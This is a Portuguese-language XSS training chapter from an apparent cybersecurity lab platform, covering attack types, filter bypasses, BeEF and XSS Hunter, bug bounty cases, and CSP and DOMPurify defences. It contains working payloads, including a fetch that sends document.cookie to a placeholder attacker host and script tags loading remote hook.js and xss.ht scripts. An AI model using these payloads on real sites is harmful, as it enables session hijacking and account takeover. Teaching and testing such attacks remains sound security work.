Cross-Site Scripting

Transforme entradas de usuário em vetores de ataque baseados em navegador

Ataques XSS Bypass de filtros Sequestro de sessão

O que você vai descobrir

🎯 Por que isso importa

O Cross-Site Scripting figura constantemente no OWASP Top 10 porque afeta milhões de aplicações web em todo o mundo. Ataques XSS permitem que você execute JavaScript nos navegadores das vítimas, levando a sequestro de sessão, roubo de dados e tomada completa de conta. Aplicações web modernas dependem fortemente de JavaScript no lado do cliente, tornando o XSS uma das vulnerabilidades mais críticas que especialistas em segurança precisam entender.

🔍 O que você vai aprender

Você vai entender como identificar e explorar vulnerabilidades XSS refletidas, armazenadas e baseadas em DOM usando as mesmas técnicas que especialistas em segurança usam em avaliações reais. Isso inclui criar payloads que contornam filtros de segurança modernos, usar ferramentas padrão da indústria como BeEF e XSS Hunter, e implementar contramedidas defensivas adequadas.

🚀 Sua primeira conquista

Nos próximos 10 minutos, você vai executar com sucesso um ataque XSS armazenado que captura cookies de sessão do administrador, demonstrando como entradas de usuário aparentemente inofensivas podem levar a comprometimento completo da aplicação e acesso administrativo.

🔧 Experimente agora

Teste este payload XSS simples em um campo de comentário ou caixa de busca

# Payload de teste XSS básico
<script>alert('XSS Test')</script>

# Se estiver bloqueado, tente este bypass de filtro
<img src=x onerror=alert('XSS')>

# Para testes avançados (captura de cookie de sessão)
<script>
fetch('http://<attacker>/collect?cookie=' + document.cookie);
</script>

# Teste XSS baseado em DOM (verificar fragmento de URL)
http://<target>/page.html#<img src=x onerror=alert(document.cookie)>

Você verá: Como diferentes contextos XSS requerem diferentes payloads, e por que testes sistemáticos revelam vulnerabilidades que scanners básicos perdem.

Habilidades que você vai dominar

✅ Compreensão fundamental

  • Vetores de ataque XSS e técnicas de exploração
  • Criação de payloads JavaScript e ofuscação
  • Métodos de bypass de filtros e técnicas de encoding
  • Manipulação DOM e exploração no lado do cliente

🔍 Habilidades avançadas

  • Framework BeEF para pós-exploração
  • XSS Hunter para detecção de vulnerabilidades cegas
  • Técnicas de bypass de CSP e metodologia
  • Práticas de código seguro e implementação de defesas

Entendendo vulnerabilidades XSS

XSS ocorre quando aplicações incluem dados não confiáveis em páginas web sem validação ou escape adequado

O problema fundamental é que navegadores web não conseguem distinguir entre JavaScript legítimo e código controlado pelo atacante quando ambos são servidos do mesmo domínio. Este modelo de confiança baseado na mesma origem torna o XSS particularmente perigoso — seu script malicioso executa com todos os privilégios da aplicação vulnerável.

XSS refletido

A entrada é imediatamente retornada na resposta

# Parâmetro de busca refletido
GET /search?q=<script>alert(1)</script>

# Contexto de mensagem de erro
GET /login?error=<img src=x onerror=alert(1)>

XSS armazenado

O payload persiste no banco de dados ou armazenamento de arquivos

# Armazenamento em campo de comentário
POST /comment
Content: <script>/* payload */</script>

# Persistência em campo de perfil
POST /profile
Name: <svg onload=alert(1)>

XSS baseado em DOM

JavaScript no lado do cliente processa dados não confiáveis

# Exploração de fragmento de URL
location.hash = "<img src=x onerror=alert(1)>"

# Uso de sinks inseguros do DOM
# element.innerHTML = userInput; // VULNERÁVEL

Ferramentas e técnicas

Especialistas em segurança usam uma combinação de criação manual de payloads e ferramentas especializadas para descobrir e explorar vulnerabilidades XSS efetivamente.

Criação manual de payloads: a abordagem especialista

Entender como criar payloads XSS manualmente é essencial porque permite que você se adapte a diferentes contextos e contorne filtros específicos que ferramentas automatizadas não conseguem lidar.

Técnicas de bypass de filtros

# Manipulação de maiúsculas/minúsculas para contornar filtros simples
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>

# Técnicas de encoding
<img src=x onerror="alert(1)">

# Ofuscação de manipuladores de eventos
<svg/onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>

# Execução JavaScript sem tags script
<iframe src="javascript:alert(1)"></iframe>
<object data="javascript:alert(1)"></object>

# Template literal e sintaxe alternativa
<script>alert`1`</script>
<script>(alert)(1)</script>

Estas técnicas manuais funcionam porque exploram comportamentos específicos de parsers e fraquezas de filtros que ferramentas automatizadas frequentemente perdem, dando a você a vantagem que separa testadores especialistas.

Framework BeEF: plataforma de pós-exploração

BeEF (Browser Exploitation Framework) transforma vulnerabilidades XSS simples em comprometimento completo do navegador, fornecendo as capacidades de pós-exploração que demonstram impacto real.

Configuração e uso do BeEF

# Instalar e iniciar BeEF
git clone https://github.com/beefproject/beef.git
cd beef
./install
./beef

# Payload hook básico (injetar via XSS)
<script src="http://[BEEF_SERVER]:3000/hook.js"></script>

# Comandos pós-exploração (via interface BeEF)
# - Captura de tela
# - Coleta de credenciais
# - Reconhecimento de rede
# - Ataques de engenharia social
# - Mecanismos de persistência

BeEF demonstra por que XSS não é apenas sobre caixas de alerta — é sobre comprometimento completo do navegador e a capacidade de realizar ataques complexos contra usuários autenticados.

XSS Hunter: detecção de vulnerabilidades cegas

XSS Hunter se destaca em encontrar vulnerabilidades XSS cegas — casos onde seu payload executa mas você não consegue ver feedback imediato, comum em painéis de administração e processamento em segundo plano.

Detecção de XSS cego

# Payload XSS Hunter (substituir pelo seu subdomínio)
"><script src=https://hackerdna.xss.ht></script>

# Teste cego de formulário de contato
Name: <script src=https://hackerdna.xss.ht></script>
Email: test@hackerdna.com
Message: Testando XSS no painel admin

# Teste cego de upload de arquivo (arquivos SVG)
<svg onload="$.getScript('https://hackerdna.xss.ht')"></svg>

XSS Hunter captura contexto completo quando seu payload executa, incluindo código fonte da página, cookies e informações do usuário — crítico para provar impacto em avaliações de segurança.

Cenários de ataque do mundo real

Estas histórias verificadas de bug bounty demonstram técnicas reais de exploração XSS usadas por pesquisadores de segurança, mostrando a abordagem sistemática que alcança resultados consistentes e recompensas substanciais.

Caso 1: XSS armazenado no Facebook via upload de arquivo - $3.500 USD

O pesquisador de segurança Frans Rosén descobriu uma vulnerabilidade XSS armazenada no sistema de compartilhamento do Facebook através de uma cadeia de ataque criativa envolvendo sincronização de arquivos Dropbox e a funcionalidade de compartilhamento do Facebook.

Avaliação de impacto: A vulnerabilidade permitiu execução imediata de JavaScript quando usuários visitavam o link de compartilhamento malicioso, afetando milhões de usuários do Facebook. O pesquisador também descobriu que a mesma vulnerabilidade funcionava com compartilhamentos do Pinterest, demonstrando um problema sistêmico.

Caso 2: RCE no Google Cloud Shell via XSS - $5.000 USD

O pesquisador de segurança @omespino escalou um XSS simples na visualização de markdown do Google Cloud Shell para acesso root completo na infraestrutura cloud do Google.

Risco de negócio: Comprometimento completo de instâncias Google Cloud Shell, permitindo aos atacantes acesso root aos ambientes de desenvolvimento cloud das vítimas contendo código sensível e credenciais. O ataque usou a integração GitHub "Open in Cloud Shell" para engenharia social.

Caso 3: ataque em cadeia complexo no lado do cliente - $7.500 USD

O pesquisador de segurança Vitor Falcao descobriu uma cadeia de ataque sofisticada no lado do cliente combinando Client-Side Path Traversal, bypass de upload de arquivo, CSRF de login OAuth e cookie bombing para alcançar XSS em um alvo de alto perfil.

Taxa de sucesso do ataque: Esta cadeia complexa demonstra técnicas avançadas de exploração no lado do cliente, combinando múltiplas vulnerabilidades para alcançar tomada de conta apesar de controles de segurança modernos como CSP e cookies HttpOnly. O ataque requereu interação significativa do usuário mas alcançou alto impacto.

Contramedidas defensivas

Entender medidas defensivas torna você um atacante mais eficaz e ajuda você a fornecer orientação de remediação valiosa para clientes e equipes de desenvolvimento.

Content Security Policy (CSP): defesa primária

CSP fornece proteção robusta contra XSS controlando quais recursos os navegadores podem carregar e executar, bloqueando efetivamente a maioria dos ataques XSS quando implementado corretamente.

Exemplos de implementação CSP

# Header CSP restritivo (bloqueia maioria dos XSS)
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

# CSP pronto para produção com suporte a CDN
Content-Security-Policy: default-src 'self';
  script-src 'self' https://trusted-cdn.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;

Técnicas de bypass de CSP (avançado)

  • Script gadgets - Explorar scripts legítimos com sinks inseguros
  • Endpoints JSONP - Abusar callbacks JSONP existentes
  • Sandbox Angular - Métodos de bypass específicos do framework
  • Injeção de tag base - Redirecionar URLs relativas para domínio do atacante

Sanitização padrão da indústria

DOMPurify é o padrão ouro para sanitização HTML, confiado por Google, Microsoft e outras grandes empresas de tecnologia para prevenir ataques XSS.

Implementação DOMPurify

// Lado do cliente: npm install dompurify
// Lado do servidor: npm install isomorphic-dompurify
import DOMPurify from 'dompurify';

// Renderização HTML segura (bloqueia todos os vetores XSS)
const userInput = '<script>alert("XSS")</script><p>Conteúdo seguro</p>';
const cleanHTML = DOMPurify.sanitize(userInput);
// Resultado: "<p>Conteúdo seguro</p>"

// Modo restritivo (apenas tags específicas permitidas)
const strictClean = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
  ALLOWED_ATTR: ['class', 'id']
});

🎯 Você dominou XSS!

Você agora entende como identificar, explorar e defender contra vulnerabilidades Cross-Site Scripting usando a mesma abordagem sistemática que especialistas em segurança usam. Você pode criar payloads, contornar filtros e usar ferramentas padrão da indústria para demonstrar impacto real em avaliações de segurança.

Exploração XSS Bypass de filtros Sequestro de sessão Framework BeEF Implementação defensiva

Pronto para explorar a confiança entre navegadores e aplicações

Validação de Conhecimento

Demonstre sua compreensão para ganhar pontos e progredir

1
Pergunta do Capítulo

Qual função JavaScript é usada para codificar a string 'alert(1)' como os códigos de caracteres 97,108,101,114,116,40,49,41 para contornar filtros XSS?

1
Ler
2
Validar
3
Concluir

Pronto para acompanhar seu progresso?

Crie uma conta gratuita para salvar seu progresso, ganhar pontos e acessar mais de 170 labs práticos de cibersegurança.

Comece a Aprender Grátis
Junte-se a 5.000+ hackers aprendendo cibersegurança com labs práticos. Criar Conta